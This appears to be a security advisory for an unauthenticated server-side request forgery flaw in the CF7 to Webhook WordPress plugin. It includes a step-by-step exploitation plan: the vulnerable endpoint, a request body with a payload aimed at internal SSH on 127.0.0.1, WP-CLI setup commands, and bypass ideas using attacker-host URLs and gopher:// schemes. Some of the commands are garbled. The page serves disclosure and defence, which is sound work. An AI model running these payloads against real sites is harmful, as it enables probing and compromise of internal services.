CF7 to Webhook <= 5.0.0 - Unauthenticated Server-Side Request Forgery via CF7 Field Placeholder in Webhook URL Host
Description
The CF7 to Webhook plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.0 via the pull_the_trigger. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires that the admin-configured webhook URL contains a Contact Form 7 field placeholder in the host segment of the URL, and that the affected form is publicly accessible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.0.1
Source Code
WordPress.org SVNThis research plan targets a Server-Side Request Forgery (SSRF) vulnerability in the **CF7 to Webhook** plugin (version <= 5.0.0). The vulnerability arises because the plugin allows Contact Form 7 (CF7) field placeholders (e.g., `[field_name]`) within the admin-configured Webhook URL. If a placehold…
Show full research plan
This research plan targets a Server-Side Request Forgery (SSRF) vulnerability in the CF7 to Webhook plugin (version <= 5.0.0). The vulnerability arises because the plugin allows Contact Form 7 (CF7) field placeholders (e.g., [field_name]) within the admin-configured Webhook URL. If a placeholder is placed in the host segment of the URL, an unauthenticated user can control the destination of the resulting HTTP request by providing a malicious value for that field during form submission.
1. Vulnerability Summary
- Vulnerability: Unauthenticated SSRF via Host Placeholder.
- Affected Component:
CFTZ_Module_Zapier::pull_the_triggerinmodules/zapier/class-module-zapier.php. - Root Cause: The plugin performs string replacement on the Webhook URL using user-supplied form data. If the admin includes a placeholder in the URL's host (e.g.,
https://[dynamic-server]/api), the plugin will resolve this placeholder using the raw, unsanitized value from the submitted form, allowing an attacker to redirect the request to internal or arbitrary external IP addresses. - Sinks:
wp_remote_request()andwp_remote_get()withinpull_the_trigger.
2. Attack Vector Analysis
- Endpoint: Contact Form 7 REST API submission endpoint:
POST /wp-json/contact-form-7/v1/contact-forms/<id>/feedback. - Authentication: Unauthenticated (publicly accessible CF7 forms).
- Payload Parameter: Any CF7 field name that has been configured as a placeholder in the Webhook URL.
- Precondition: An administrator must have configured a Webhook URL containing a placeholder in the host portion (e.g.,
http://[target-host]/).
3. Code Flow
- Entry Point: An unauthenticated user submits a Contact Form 7 form.
- Trigger: CF7 fires a submission hook (likely
wpcf7_mail_sentor similar). - Module Interception:
CFTZ_Module_CF7(the CF7 integration module) gathers the form data and identifies the configured Webhook settings. - Action Dispatch: The plugin calls
do_action( 'ctz_trigger_webhook', ... ). - Vulnerable Sink:
CFTZ_Module_Zapier::pull_the_trigger(hooked toctz_trigger_webhookindefine_hooks()) receives the$hook_urland$data(form inputs). - Placeholder Replacement: Either in the caller or via the
ctz_hook_urlfilter (referenced on line 121 ofmodules/zapier/class-module-zapier.php), the[placeholder]in the URL is replaced with the attacker-controlled value from$data. - Request Execution:
wp_remote_request( $hook_url, $args )is called on line 133 with the manipulated URL.
4. Nonce Acquisition Strategy
While Contact Form 7 often works without strict nonces for public submissions, it typically provides a REST API nonce for its feedback endpoint.
- Identify Form: Find a page containing a CF7 form or create one.
- Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="SSRF Test" --post_content='[contact-form-7 id="123"]' - Navigate and Extract:
- Use
browser_navigateto visit the page. - Use
browser_evalto extract the CF7 configuration, which usually includes the REST URL and nonce. - JS Key:
window.wpcf7.apiSettings.nonceor find it within the form'sdata-unit-tagand_wpcf7_noncehidden input. - Script Example:
browser_eval("document.querySelector('input[name=\"_wpcf7_nonce\"]').value")
- Use
5. Exploitation Strategy
Step 1: Pre-Configuration (Simulated Admin Setup)
To exploit this, a form must be configured with a placeholder in the host. Since we are testing the PoC, we will use WP-CLI to simulate an admin configuring a vulnerable webhook.
- Create a CF7 form with a field named
remote_host. - Set the Webhook URL to
http://[remote_host]/api.
Step 2: The Attack Request
Send a POST request to the CF7 feedback endpoint.
- URL:
http://<wp-host>/wp-json/contact-form-7/v1/contact-forms/<form-id>/feedback - Method:
POST - Headers:
Content-Type: multipart/form-dataorapplication/x-www-form-urlencoded - Body:
_wpcf7:<form-id>_wpcf7_unit_tag:wpcf7-f<id>-p<page-id>-o1(usually required by CF7)_wpcf7_nonce:<extracted-nonce>remote_host:127.0.0.1:22(The SSRF payload targeting internal SSH)
Step 3: Expected Result
The WordPress server will attempt to make an HTTP request to http://127.0.0.1:22/api.
6. Test Data Setup
- Install Plugins:
contact-form-7andcf7-to-zapier. - Create Form:
wp eval ' $contact_form = WPCF7_ContactForm::get_template(); $contact_form->set_title( "SSRF Vulnerable Form" ); $contact_form->set_properties( array( "form" => "[text* remote_host placeholder \"Host\"] [submit \"Send\"]" ) ); $id = $contact_form->save(); echo "FORM_ID:" . $id; ' - Configure Webhook: (Requires setting the meta/properties that
cf7-to-zapierreads. Assuming meta key_ctz_zapier_url)wp post nominate meta set <FORM_ID> _ctz_zapier_webhook "http://[remote_host]/ssrf-test" wp post nominate meta set <FORM_ID> _ctz_zapier_enabled "1"
7. Expected Results
- Success: The
http_requestresponse (or the server logs) should indicate that the WordPress server initiated a connection to the host specified in theremote_hostfield. - Internal Discovery: If targeting
127.0.0.1, the response might contain information from an internal service or a timeout/connection refused error from an internal port, rather than an external Zapier/Webhook service.
8. Verification Steps
- Monitor Outgoing Requests: Use a tool like RequestBin or a local listener on the Docker host.
- Check Plugin Logic: Confirm that
wp_remote_requestwas reached by placing a debug log inmodules/zapier/class-module-zapier.phpbefore line 133:sed -i '132i \error_log("SSRF Target: " . $hook_url);' /var/www/html/wp-content/plugins/cf7-to-zapier/modules/zapier/class-module-zapier.php - Check Logs: After submission, check
wp-content/debug.logfor the "SSRF Target" entry containing the injected host.
9. Alternative Approaches
If the REST API endpoint is strictly protected:
- Form Submission: Use the standard
admin-ajax.php?action=wpcf7_submitor the frontend form submission path (POSTto the page URL where the form is embedded). - Placeholder Variation: Try placeholders in other segments of the URL if the host is partially restricted (e.g.,
https://legit-site.com@[attacker-host]/). - Gopher/Other Schemes: Test if
wp_remote_requesthandles schemes likegopher://orftp://for deeper internal exploitation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.